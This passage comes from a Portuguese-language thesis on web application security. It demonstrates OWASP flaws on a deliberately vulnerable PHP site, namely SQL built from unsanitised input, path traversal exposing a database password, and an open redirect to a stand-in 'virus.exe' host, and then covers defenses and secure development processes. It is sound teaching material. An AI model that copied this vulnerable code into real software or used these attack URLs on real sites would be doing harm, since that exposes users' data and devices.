$result = mysql_query( "select * from usuarios where id = " . $_GET['userid']);

if ( mysql_num_rows($result) > 0 ) { $row = mysql_fetch_array( $result ); ob_start(); setcookie("iduser",$row['id'], time()+3600*24*30); setcookie("nome",$row['nome'], time()+3600*24*30); ob_end_flush(); mysql_query( "delete from comentarios where id = " . $_GET['comentario']); $var = 'Removido! <script>alert("removido!"); window.location= "http://www.localhost.com/tcc_vulneravel/login.php"; </script>'; } else { $var = 'USURIO INVALIDO'; }

Ilustrao 49 - Validao de login incorreta

2.9 Referncias Diretas Inseguras a Objetos 2.9.1 Introduo Algumas pginas so desenvolvidas fazendo referncia externa para um objeto inter namente. Com esse recurso, um usurio mal intencionado poderia acessar pastas, arqui vos e outros elementos. 2.9.2 Exemplo A ilustrao 50 exibe uma pgina que lista diversas receitas presentes no site .

Ilustrao 50 - Listagem direta de arquivos

Clicando em um dos elementos, o contedo exibido (ilustrao 51).

Ilustrao 51 - Contedo arquivo site

Nota-se que o endereo da pgina http://www.localhost.com/tcc_vulneravel/conteudoreceita.php?f=bolodavovo1.txt bolodavovo1.txt. Ao manipular o nome desse arquivo diretamente no endereo possvel listar o contedo de outros arquivos, como por exemplo, a aplicao listaria o http://www.localhost.com/tcc_vulneravel/conteudoreceita.php?f=../index.php faz uma referencia direta ao arquivo

contedo do mesmo e nesse caso, a linha $_db_connector = mysql_connect('localhost', 'root', 'masterzion'); indica o servidor, usurio e senha para conectar ao banco de dados (ilustrao 52).

Ilustrao 52 - Contedo index

A falha est no cdigo que no valida a entrada do usurio (ilustrao 53).

<?php $filename = 'receitas/' . $_GET['f']; $handle = fopen($filename, "r"); $content = fread($handle, filesize($filename)); echo str_ireplace("\n", '<br>', $content); fclose($handle); ?> Ilustrao 53 - Cdigo da index

2.10 Redirecionamentos e Encaminhamentos Invlidos 2.10.1 Introduo Com esses recursos, um usurio malicioso pode redirecionar usurios que esto acessando um site confivel para um site no confivel. Isso pode comprometer a segu rana do usurio que est acessando. 2.10.2 Exemplo Nas ilustraes 54 e 55 podemos encontrar um link para download da receita exibida.

Ilustrao 54 - Contedo arquivo site

Ilustrao 55 - Redireciona

Ao clicar, uma pgina de redirecionamento exibida e em seguida o download do arquivo disparado. Note que no endereo o navegador contm a URL do arquivo que ser baixado. O usurio pode ser redirecionado para uma pgina externa com contedo perigoso por exemplo http://www.localhost.com/tcc_vulneravel/download.php? url=http://invasor.net/hacker/virus.exe (ilustrao 56).

Ilustrao 56 - Vrus

No exemplo de cdigo citado na ilustrao 57, nota-se que a varivel $_GET['url'] redireciona para um endereo atravs de parmetros enviados por um usurio.

<script language='JavaScript'> var time = 5; var page = "<?=$_GET['url']?>"; var txtantes = 'Voc ser redirecionado em '; var txtdepois = ' segundos...'; function gett(id){ if(document.getElementById) return document.getElementById(id); if(document.all) return document.all.id; if(document.layers) return document.layers.id; if(window.opera) return window.opera.id; } function countDown(){ if(time < 1){ time = 0; } else { time--; gett("contador").innerHTML = txtantes + time + txtdepois; if (time == 0) window.location = page; } } setInterval(countDown, 1000); gett("contador").innerHTML = txtantes + time + txtdepois; setTimeout(init, 50); </SCRIPT>

Ilustrao 57 - Cdigo redirect

3 DESENVOLVIMENTO DE APLICAES SEGURAS

3.1 Introduo Visto que as principais vulnerabilidades so exploradas por uma falha humana durante a codificao, uma equipe consciente dos riscos de segurana tende a ter um cuidado maior durante o processo de desenvolvimento. Hoje h ferramentas que tendem a miti gar os riscos durante o processo de desenvolvimento. Bibliotecas, frameworks e processos seguros podem auxiliar esse andamento de forma padronizada. 3.2 Controles de Proteo 3.2.1 Falhas de Injeo e XSS - Cross Site Scripting Utilizar uma API segura a melhor opo, mas caso no seja possvel, recomendado que sejam utilizadas a ESAPI da OWASP que foi desenvolvida em diversas lingua gens e j possui diversas rotinas prontas para que sejam filtradas as entradas dos usuri os. Tambm possui uma lista de caracteres confiveis que podem ser aceitos nas entra das dos usurios. 3.2.2 Cross Site Request Forgery A melhor forma de prevenir esse problema adicionar uma chave aleatria em um campo escondido nos formulrios. Esse campo tambm deve possuir um nome aleatrio, o qual deve ser gravado na sesso do usurio. Quando a aplicao receber esses dados, deve-se comparar os dados do campo escondido no formulrio com os dados gravados na sesso, e o formulrio s deve ser processado caso os dados desse campo oculto fo rem iguais.

3.2.3 Falha ao restringir acesso direto URL Esconder o link para uma pgina em um site no o suficiente para garantir que essa pgina no seja acessada por usurios no autorizados. A sesso do usurio deve ser validada em todas as pginas restritas e o seu contedo s poder ser exibido caso o usurio esteja realmente autenticado.

3.2.4 Configurao Incorreta de Segurana importante manter servios, programas, sistema operacional, banco de dados, bibli otecas e todos os recursos utilizados pelas aplicaes, devidamente atualizados. Qual quer item com vulnerabilidade pode gerar o risco de comprometer todo o ambiente. Manter nos ambientes somente o que realmente necessrio. Usurios que no so mais utilizados, backups, portas abertas desnecessrias, servios no utilizados, pri vilgios desnecessrios. Tudo aquilo que no necessrio deve ser removido objetivan do mitigar os riscos e reduzir o trabalho de reviso da integridade do ambiente. Utilize firewall para permitir o acesso aos servios dos servidores somente dos hosts que realmente devem ter o acesso. Oferecer separao entre os componentes da aplicao sempre que possvel, como por exemplo, banco de dados, servidor Web e servidor de e-mail. Utilizar de ferramentas de verificao de integridade periodicamente. Scanners de vulnerabilidades podem facilitar esse processo automatizando o monitoramento de segurana do ambiente. As ilustraes 58 59, 60 e 61 ilustram ferramentas de segurana.

Ilustrao 58 - Acunetix

Ilustrao 59 - W3af

Ilustrao 60 - Nessus

Algumas ferramentas de teste de integridade do ambiente, podem ser teis para identificar a incluso ou alterao de arquivos em um ambiente. Essas ferramentas varrem diretrios previamente configurados em busca de mudanas. As ferramentas mais conhecidas so Tripwire e AIDE. Essas ferramentas so interes santes porque podem identificar arquivos enviados ao servidor de forma irregular (ilustrao 61).

AIDE 0.15.1 found differences between database and filesystem!! Start timestamp: 2012-02-19 02:00:01 Summary: Total number of files: Added files: Removed files: Changed files: 0 0 2 64202

--------------------------------------------------Changed files: --------------------------------------------------changed: /var/lib/dovecot changed: /var/lib/dovecot/ssl-parameters.dat --------------------------------------------------Detailed information about changes: ---------------------------------------------------

Directory: /var/lib/dovecot Mtime Ctime : 2012-02-11 03:43:28 : 2012-02-11 03:43:28 , 2012-02-18 03:44:23 , 2012-02-18 03:44:23

File: /var/lib/dovecot/ssl-parameters.dat Mtime Ctime Inode MD5 SHA1 JU= AIDE, version 0.15.1 ### AIDE database at /usr/local/etc/aide.db.new initialized. Ilustrao 61 - AIDE : 2012-02-11 03:43:28 : 2012-02-11 03:43:28 : 737338 , 2012-02-18 03:44:23 , 2012-02-18 03:44:23 , 737335 , 6eycu3Foa4yk0SbbV5RaoA== , Jw4LUFRb97FmhpH7apQV4f2RN-

: m5d6SybnGcTS8aXWLp5Mew== : 8+6qiKKxdHqjDG27PkDCbG0oa3c=

3.2.5 Proteo Insuficiente da Camada de Transporte Implementar criptografia no transporte de dados (SSL) onde devem ser suportados apenas algortmos de criptografia robustos. No utilizar pginas com contedos seguros (com SSL) e no seguros (sem SSL) na mesma pgina, para evitar que os dados de sesso sejam transmitidos sem proteo. Todos os cookies devem possuir a opo 'secure', para garantir que as informaes sejam transmitidas cifradas. 3.2.6 Armazenamento Criptogrfico Inseguro Ao proteger senhas, dados de cartes de crdito, dados de documentos, informaes pessoais e demais dados crticos utilizando algortimo de criptografia forte e padronizado e reconhecido por entidades internacionais. Arquivos com dados confidenciais, como pronturios mdicos e cpia de documentos devem ser protegidos. Somente usurios autorizados devem ter acesso a estes arquivos. Dados de backup devem ser protegidos. Deve-se garantir a gerao de chaves seguras.

3.2.7 Quebra da Autenticao e da Gesto de Sesses Utilizar gerenciamento de sesso j existentes limitando o tempo de vida das sesses. Os indicadores de sesso no podem ser fixos e tambm no se deve poder adivinhar as sesses de outros usurios, (usar por exemplo um hash como identificador) e o identificador de sesso nunca deve ser exibido em endereos das pginas (URL).

3.2.8 Referncias Diretas Inseguras a Objetos, Redirecionamentos e Encaminhamentos Invlidos Nunca utilize parmetros de usurios para referencias de objetos e para endereos externos. Utilize nmeros identificadores para os objetos a serem referenciados. Esses identificadores s devem ser acessveis caso o usurio realmente deva ter acesso a essas informaes. 3.2.9 Utilizao de Frameworks Seguros H diversos frameworks baseados em segurana. Esses frameworks automatizam utilizando funes prontas que j previnem as principais falhas.

O Banshee, the secure PHP Framework, utiliza algumas tcnicas para prevenir ataques de SQL injection, Cross-Site Scripting, Cross-Site Request Forgery. Tambm j possui recursos para gerenciamento de autenticao de usurio, o que j previne as falhas "Armazenamento Criptogrfico Inseguro" e "Quebra da Autenticao e da Gesto de Sesses". O Banshee j vem diversos exemplos prontos como blog, forum, Guestbook, enquete e outros (ilustrao 62)

Ilustrao 62 - Framework Banshee

A utilizao de um framework que j incorpora tcnicas de segurana pode reduzir significativamente o risco de falhas, ( desde que seja sempre utilizado o recurso do mesmo) alm de padronizar o ambiente.

4 PROCESSO DE DESENVOLVIMENTO SEGURO

Para que seja mitigado o risco de reincidncia de problemas importante o uso de metodologias de desenvolvimento seguro. O Microsoft SDL (Security Development Lifecycle) um processo de segurana focado no desenvolvimento de aplicaes seguras e tem como objetivo reduzir o risco e a quantidade de vulnerabilidades em um software. As premissas do SDL so o treinamento, a melhoria contnua e a responsabilidade. 4.1.1 Treinamento em segurana O treinamento essencial. Investir no conhecimento dos desenvolvedores investir na segurana da prpria aplicao. Todos os membros da equipe devem receber treina mento sobre os princpios bsicos de segurana, das tendncias e da privacidade. Esse treinamento deve ser reciclado pelo menos uma vez por ano. Esse treinamento deve oferecer conceitos fundamentais como Design Seguro, Modelagem de Ameaas, Codificao Segura, Teste de Segurana e Privacidade. Tambm deve ser focado na rea de cada profissional.

4.1.2 Requerimentos Nessa fase, so modelados os principais objetos para segurana e privacidade, com o objetivo de minimizar o risco de mudana de planos da aplicao e privacidade definida por especialistas em segurana. Esses especialistas devem acompanhar cada fase do processo da aplicao. Eles devem garantir que cada requisito de segurana foi cumprido. Todos os erros de execuo devem ser mapeados e deve-se definir nveis de pericu losidade das falhas de segurana, mantendo-as em um nvel aceitvel. Uma aplicao no deve ser lanada com falhas crticas. Uma vez definida essas regras, elas no podem ser flexibilizadas mesmo com a apro ximao de uma data de lanamento, como forma de no extrapolar prazos.

4.1.3 Modelagem Nessa fase se desenha os requisitos de design, que devem seguir as regras de segu rana estabelecidas na fase anterior. Deve ser descrever como implementar cada regra de segurana para cada caracterstica e funo de cada elemento. Em seguida esses itens devem ser revisados pelo especialista em segurana e priva cidade. Tambm deve se definir como ser reduzida a superfcie de ataque, como por exemplo, desabilitar ou remover servios do sistema e definir todas as camadas de defesa possveis. Por fim, deve ser ser feita a modelagem de ameaas, onde a equipe se rene para discutir as implicaes de segurana dos projetos em ambiente de produo. 4.1.4 Implementao A equipe deve garantir que as melhores prticas foram aplicadas afim de garantir que seu cdigo no contm nenhuma vulnerabilidade de segurana conhecida. Deve ser publicada uma lista de ferramentas e bibliotecas que tiveram seus requisi tos de segurana aprovados como compiladores. Essa lista deve ser aprovada por um assessor de segurana do projeto. Tambm recomendado que tudo seja desenvolvido em cima da ltima verso estvel desses recursos. Uma vez feita a anlise desses componentes, gera-se uma lista de recursos que no devem ser utilizados (black list) e encontra-se alternativas seguras para substitui-los. O especialista de segurana deve garantir que o cdigo desses recursos so seguros, fazendo inclusive uma reviso no cdigo-fonte desses objetos. 4.1.5 Verificao Na verificao, todos os quesitos de segurana documentados nas fases anteriores devem ser testados. Alm da validao de acordo com a documentao anterior, reco mendado realizar um teste de penetrao, afim de tentar descobrir um risco potencial. Scanners de vulnerabilidades podem auxiliar nesse processo. 4.1.6 Lanamento O SDL exige um plano de resposta aos incidentes. Novas ameaas podem surgir e a equipe precisa estar preparada para reagir da forma adequada. Cada elemento deve estar dentro do plano de resposta a incidente. Tambm feita uma reviso final de segu rana de todos os arquivos, garantindo que tudo que foi desenvolvido est de acordo

com aquilo que deveria ser liberado. E cada item deve ser classificado como Ok, ou Ok com excees, que de devem ser corrigidas na prxima verso ou falha. Finalmente, todos os dados devem ser agrupados e arquivados com dados da verso. Isso inclui cdigo fonte, documentao, cdigos binrios, planos de resposta a inci dentes e qualquer outro elemento que componha essa verso. 4.1.7 Resposta a incidentes Quando uma aplicao liberada a equipe deve estar preparada para lidar com qual quer eventualidade que possa afetar a segurana ou problemas de privacidade que pre cisarem de uma resposta usando planos e recursos desenvolvidos durante a fase de lan amento.

5 CONCLUSO

Quando falamos de desenvolvimento de aplicaes e banco de dados, deve ser considerada a segurana do ambiente. O risco de vazamento de dados pode no s ser peri goso para uma empresa mas tambm para todos os envolvidos (clientes, usurios, fornecedores, etc.). Frameworks podem automatizar alguns princpios bsicos de desenvolvimento de aplicaes seguras, mas tambm podem ser usadas as boas prticas e a biblioteca ESAPI, caso o framework no seja uma alternativa prtica. Tambm deve-se ter o cuidado com a camada de transporte. Trfego de dados sem criptografia podem ser um fator de alto risco, principalmente quando uma pgina est sendo usada por ambientes pblicos como redes Wifi ou lan-house. O ambiente deve estar corretamente configurado e atualizado. Manter-se atualizado um fator crtico para que o ambiente se mantenha saudvel. Os envolvidos devem ser conscientizados da importncia de que todos os requisitos de segurana devem ser implementadas. Para que todos os itens estejam mais seguros importante salientar que deve ser aplicado um processo de desenvolvimento de aplicao seguro como o Microsoft SDL. Esse tipo de processo pode garantir uma melhoria contnua na segurana das aplicaes desenvolvidas, alm evitar reincidncias de vulnerabilidades.

6 REFERNCIAS

Microsoft. Microsoft Security Intelligence Report. Disponvel em: <http://www.microsoft.com/security/sir/default.aspx>. Acesso em: 28 Jan 2012 Symantec. Internet Security Threat Report (ISTR) . Disponvel em: <http://www.symantec.com/about/news/resources/press_kits/detail.jsp?pkid=threat_report_16>. Acesso em: 28 Jan 2012 Symantec.Internet Security Threat Report - Custom Report. Disponvel em: <http://www.symantec.com/threatreport/print.jsp?id=total_number_of_vulnerabilities>. Acesso em: 28 Jan 2012 CERT. Estatsticas dos Incidentes Reportados ao CERT.br. Disponvel em: <http://www.cert.br/stats/incidentes/>. Acesso em: 28 Jan 2012 Trustwave. Trustwave 2012 Global Security Report. Disponvel em: <https://www.trustwave.com/GSR>. Acesso em: 28 Jan 2012 UOL. Notcia - Site do IBGE invadido por hackers. Disponvel em: <http://www1.folha.uol.com.br/poder/934354-site-do-ibge-e-invadido-por-hackers.shtml>. Acesso em: 28 Jan 2012 OWASP. Open Web Application Security <http://www.owasp.org/>. Acesso em: 28 Jan 2012 Project. Disponvel em:

Frum OWASP. Traduo Owasp portugus. Disponvel em: <http://lists.owasp.org/pipermail/owasp-portuguese/2010-October/000144.html>. Acesso em: 28 Jan 2012 OWASP. O que, Por que e como. Disponvel em: <http://www.slideshare.net/ergalvao/owasp-o-que-por-que-e-como>. Acesso em: 28 Jan 2012 OWASP. CSRFGuard. Disponvel CSRFGuard>. Acesso em: 02 Fev 2012 em: <https://github.com/esheri3/OWASP-

OWASP. ESAPI. Disponvel em: <https://www.owasp.org/index.php/ESAPI>. Acesso em: 02 Fev 2012

Avaya. Advanced Cross Site Scripting Evil XSS. Disponvel em: <http://pt.scribd.com/doc/7142638/Shmoocon-XSS-Proxy>. Acesso em: 02 Fev 2012 Diogo. CSRF Foi mesmo o usurio que executou isso?. Disponvel em: <http://garoto sopa.wordpress.com/2010/04/28/csrf-foi-mesmo-o-usuario-que-executou-isso/>. Acesso em: 02 Fev 2012 Openjs. Using POST method in XMLHTTPRequest(Ajax). Disponvel em: <http://www.openjs.com/articles/ajax_xmlhttp_using_post.php>. Acesso em: 03 Fev 2012 PHP. Pgina oficial da linguagem. Disponvel em: <http://www.php.net>. Acesso em: 03 Fev 2012 Lima, Gustavo. Session Hijacking SSL Session Sidejacking em vdeo. Disponvel em: <http://blog.corujadeti.com.br/session-hijacking-ssl-session-sidejacking-em-video/>. Acesso em: 03 Fev 2012 Greasemonkey plugin.Cookie Injection Using Greasemonkey. Disponvel em: <http://dustint.com/post/12/cookie-injection-using-greasemonkey>. Acesso em: 07 Fev 2012 Greasemonkey. Disponvel em: <https://addons.mozilla.org/pt-br/firefox/addon/greasemonkey/>. Acesso em: 07 Fev 2012 Original Cookie Injector. Disponvel em: <http://userscripts.org/scripts/show/119798>. Acesso em: 07 Fev 2012 Firebug. Disponvel em: <https://addons.mozilla.org/pt-br/firefox/addon/firebug/> e <https://chrome.google.com/webstore/detail/bmagokdooijbeehmkpknfglimnifench>. Acesso em: 07 Fev 2012 Forum - knowledgesutra - Countdown Till Redirect. Disponvel em: <http://www.knowledgesutra.com/forums/topic/30961-countdown-till-redirect/>. Acesso em: 12 Fev 2012 Wikipedia. Definio de Endereamento MAC. Disponvel <http://pt.wikipedia.org/wiki/Endere%C3%A7o_MAC>. Acesso em: 12 Fev 2012 em:

Wikipedia. Definio de ping. Disponvel em: <http://pt.wikipedia.org/wiki/Ping>. Acesso em: 12 Fev 2012 Banshee, the secure PHP Framework. Disponvel em: <http://www.banshee-php.org/>. Acesso em: 12 Fev 2012 Tripwire. Disponvel em: <http://www.tripwire.com/>. Acesso em:

AIDE. Advanced Intrusion Detection Environment. Disponvel em: <http://aide.sourceforge.net/>. Acesso em: 12 Fev 2012 Nessus. Disponvel em: <http://www.tenable.com/products/nessus>. Acesso em: 12 Fev 2012 W3af. Web Application Attack and Audit Framework. Disponvel em: <http://w3af.sourceforge.net/>. Acesso em: 12 Fev 2012 Acunetix.Web Security Scanner. Disponvel em: <http://www.acunetix.com/>. Acesso em: 12 Fev 2012 Microsoft. Security Development Lifecycle (SDL). Disponvel em: <http://www.microsoft.com/security/sdl/default.aspx>. Acesso em: 12 Fev 2012 Microsoft. Microsoft Security Development Lifecycle. Disponvel em: <http://www.youtube.com/watch?v=WQTvv0Gek58>. Acesso em: 12 Fev 2012 Metasploit. Disponvel em: <http://www.metasploit.com/>. Acesso em: 04 Mar 2012 Microsoft. Microsoft Security Bulletin MS09-004. Disponvel em: <http://technet.microsoft.com/en-us/security/bulletin/ms09-004>. Acesso em: 04 Mar 2012 Antonio Rocha, Jos. Modelos de TCC conforme ABNT. Disponvel em: <http://meiradarocha.jor.br/news/tcc/modelos-de-tcc-e-monografia-conforme-abnt/#comment-915>. Acesso em: 04 Mar 2012 Jnior, Jairo Moreno de Barros. Universidade Espionagem Digital. 1 Ed. Universo dos Livros, 2007. 303 p. Jnior, Jairo Moreno de Barros. Mestres da Espionagem Digital. 1 Ed. Universo dos Livros, 2008. 128 p.

Você também pode gostar